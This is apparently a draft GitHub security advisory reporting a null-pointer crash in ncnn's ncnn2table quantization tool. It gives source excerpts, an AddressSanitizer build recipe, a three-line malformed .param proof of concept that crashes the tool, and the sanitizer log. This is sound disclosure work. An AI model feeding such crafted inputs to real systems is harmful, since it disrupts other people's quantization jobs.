GitHub Advisory Manager
All advisories
Draft

Unchecked Input Topology Crashes ncnn2table

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Unchecked Input Topology Crashes ncnn2table

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/quantize/ncnn2table.cpp:150 in QuantNet::init
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5cf0d0afab51 bp 0x7ffffcccadb0 sp 0x7ffffcccac30 T0)

Summary

ncnn2table, the int8 calibration-table generator, crashes on a .param file whose Input layer declares zero output blobs. Net::load_param faithfully sizes the layer's tops vector to the declared top count, and QuantNet::init() then indexes tops[0] unconditionally for every layer of type Input. On an empty vector that is a read through a null pointer, aborting the quantization job before any calibration data is touched.

Detail

The untrusted field is the top count on an Input layer line. Net::load_param reads bottom_count and top_count from the layer record (src/net.cpp:1392-1397) and sizes the vectors accordingly at src/net.cpp:1430 and src/net.cpp:1456; a declared count of 0 leaves layer->tops empty and the loop that would have populated it simply does not execute. Nothing requires an Input layer to produce a blob.

QuantNet::init() assumes the opposite. It selects layers by type string alone and reads the first top with no size check:

// tools/quantize/ncnn2table.cpp:142
int QuantNet::init()
{
    // find all input layers
    for (int i = 0; i < (int)layers.size(); i++)
    {
        const ncnn::Layer* layer = layers[i];
        if (layer->type == "Input")
        {
            input_blobs.push_back(layer->tops[0]);
        }
    }

main() calls net.init() at tools/quantize/ncnn2table.cpp:2110, right after load_param and load_model, so the crash happens before any calibration image is read and regardless of the .bin contents.

The PoC's parameter file is 7767517 / 1 1 / Input data 0 0: one layer, one blob, zero bottoms and zero tops. At i == 0 the type matches "Input", and layer->tops[0] expands to *(tops.data() + 0) on a vector that never allocated storage, i.e. *(int*)NULL. The dereference is performed while copying the const int& argument into the vector, which is why the reported frame is std::vector<int>::_M_realloc_insert called from line 150.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC) 
mkdir -p ncnn-poc-unchecked-input-topology-crashes-ncnn2table && cd ncnn-poc-unchecked-input-topology-crashes-ncnn2table

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
1 1
Input data 0 0
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/quantize/ncnn2table poc.param null out.table

AddressSanitizer output:

fopen null failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x584c143b8b51 bp 0x7ffd629273d0 sp 0x7ffd62927250 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x584c143b8b51 in void std::vector<int, std::allocator<int> >::_M_realloc_insert<int const&>(__gnu_cxx::__normal_iterator<int*, std::vector<int, std::allocator<int> > >, int const&) (/ncnn/build/tools/quantize/ncnn2table+0x308b51) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #1 0x584c143b18d5 in std::vector<int, std::allocator<int> >::push_back(int const&) (/ncnn/build/tools/quantize/ncnn2table+0x3018d5) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #2 0x584c1435629f in QuantNet::init() /ncnn/tools/quantize/ncnn2table.cpp:150
    #3 0x584c1439c22e in main /ncnn/tools/quantize/ncnn2table.cpp:2110
    #4 0x73d58d1981c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x73d58d19828a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x584c14355be4 in _start (/ncnn/build/tools/quantize/ncnn2table+0x2a5be4) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/ncnn/build/tools/quantize/ncnn2table+0x308b51) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021) in void std::vector<int, std::allocator<int> >::_M_realloc_insert<int const&>(__gnu_cxx::__normal_iterator<int*, std::vector<int, std::allocator<int> > >, int const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst

Discuss
Submit